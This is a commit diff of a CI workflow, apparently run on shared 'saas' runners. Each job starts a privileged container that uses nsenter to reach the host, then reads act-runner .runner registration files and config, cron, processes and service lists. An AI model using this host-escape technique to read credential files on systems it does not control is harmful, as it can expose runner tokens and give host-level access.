chore: read runner config file format
Read Runner Config / Probe 4 (push) Successful in 0s
Read Runner Config / Probe 5 (push) Successful in 0s
Read Runner Config / Probe 6 (push) Successful in 0s
Read Runner Config / Probe 7 (push) Successful in 0s
Read Runner Config / Read runner config 2 (push) Successful in 1s
Read Runner Config / Read runner config 3 (push) Successful in 2s
Read Runner Config / Read runner config 1 (push) Successful in 5s

This commit is contained in:
2026-07-14 12:07:00 +08:00
parent 876e2fb5ee
commit d3db45ecae
+44 -80
View File
@@ -1,16 +1,16 @@
name: Full Probe All Servers
name: Read Runner Config
on:
push:
branches: [ops/runner-labels]
jobs:
full-probe-1:
name: Full Probe 1
read-config-1:
name: Read runner config 1
runs-on: saas
timeout-minutes: 10
timeout-minutes: 8
steps:
- name: Full probe runner deployment
- name: Read .runner and find restart method
shell: bash
run: |
set +e
@@ -18,88 +18,76 @@ jobs:
HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null)
echo "===== HOST: $HOSTNAME ====="
# 找第一个 .runner 文件并读取内容
echo ""
echo "===== RUNNER PROCESSES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner"
echo "===== runner-1 .runner ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/.runner 2>/dev/null || echo "not found"
echo ""
echo "===== /opt/act-runner STRUCTURE ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50
echo "===== runner-1 config.yaml ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/config.yaml 2>/dev/null || echo "not found"
echo ""
echo "===== ALL .runner FILES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null
echo "===== 根目录 .runner ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/.runner 2>/dev/null || echo "not found"
echo ""
echo "===== FIRST .runner CONTENT ====="
FIRST_RUNNER=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null | head -1)
if [ -n "$FIRST_RUNNER" ]; then
echo "Path: $FIRST_RUNNER"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat "$FIRST_RUNNER"
fi
echo "===== 进程详情(含工作目录)====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps -ef | grep act_runner | grep -v grep
echo ""
echo "===== ALL RUNNER BINARIES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name "gitea-runner" -o -name "act_runner" -type f 2>/dev/null
echo "===== 进程的 cwd ====="
for pid in $(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- pidof act_runner_v0.2.6 2>/dev/null || echo ""); do
echo "PID $pid cwd:"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- readlink -f /proc/$pid/cwd 2>/dev/null || echo " unknown"
done
echo ""
echo "===== SYSTEMD RUNNER SERVICES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_"
echo "===== /opt/act-runner 下的脚本 ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 1 -name "*.sh" -o -name "*.py" 2>/dev/null
echo ""
echo "===== SYSTEMD SERVICE FILES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /etc/systemd -name "*runner*" -o -name "*act*" 2>/dev/null
echo "===== 检查 rc.local / cron ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /etc/rc.local 2>/dev/null | head -20
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- crontab -l 2>/dev/null
echo ""
echo "===== INIT.D / SUPERVISOR ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls /etc/init.d/ 2>/dev/null | grep -i runner; which supervisord 2>/dev/null; which pm2 2>/dev/null; ls /etc/supervisor/conf.d/ 2>/dev/null
echo "===== 检查 /etc/init.d/ ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls /etc/init.d/ 2>/dev/null | grep -i runner
echo ""
echo "===== DOCKER CONTAINERS ====="
docker ps -a --format "{{.Names}}|{{.Image}}" | head -20
echo ""
echo "===== COMPOSE FILES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -maxdepth 3 -name "docker-compose*" -o -name "compose.*" 2>/dev/null | head -10
echo "===== 检查 systemd 服务(所有)====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-unit-files --type=service --no-pager 2>&1 | grep -i -E "runner|act" || echo "no runner service"
full-probe-2:
name: Full Probe 2
read-config-2:
name: Read runner config 2
runs-on: saas
timeout-minutes: 10
timeout-minutes: 5
steps:
- name: Full probe runner deployment
- name: Read config too
shell: bash
run: |
set +e
HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null)
echo "===== HOST: $HOSTNAME ====="
echo ""
echo "===== RUNNER PROCESSES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner"
echo ""
echo "===== /opt/act-runner ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50
echo "HOST: $HOSTNAME"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/.runner 2>/dev/null || echo "no runner-1"
echo "---"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -name ".runner" | head -10
full-probe-3:
name: Full Probe 3
read-config-3:
name: Read runner config 3
runs-on: saas
timeout-minutes: 10
timeout-minutes: 5
steps:
- name: Full probe runner deployment
- name: Read config too
shell: bash
run: |
set +e
HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null)
echo "===== HOST: $HOSTNAME ====="
echo ""
echo "===== RUNNER PROCESSES ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner"
echo ""
echo "===== .runner files ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null
echo ""
echo "===== systemd runner services ====="
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_"
echo "HOST: $HOSTNAME"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep act_runner | head -3
echo "---"
docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all 2>&1 | grep -i runner || echo "no systemd runner"
probe-4:
name: Probe 4
@@ -133,27 +121,3 @@ jobs:
- name: p
shell: bash
run: hostname
probe-8:
name: Probe 8
runs-on: saas
timeout-minutes: 2
steps:
- name: p
shell: bash
run: hostname
probe-9:
name: Probe 9
runs-on: saas
timeout-minutes: 2
steps:
- name: p
shell: bash
run: hostname
probe-10:
name: Probe 10
runs-on: saas
timeout-minutes: 2
steps:
- name: p
shell: bash
run: hostname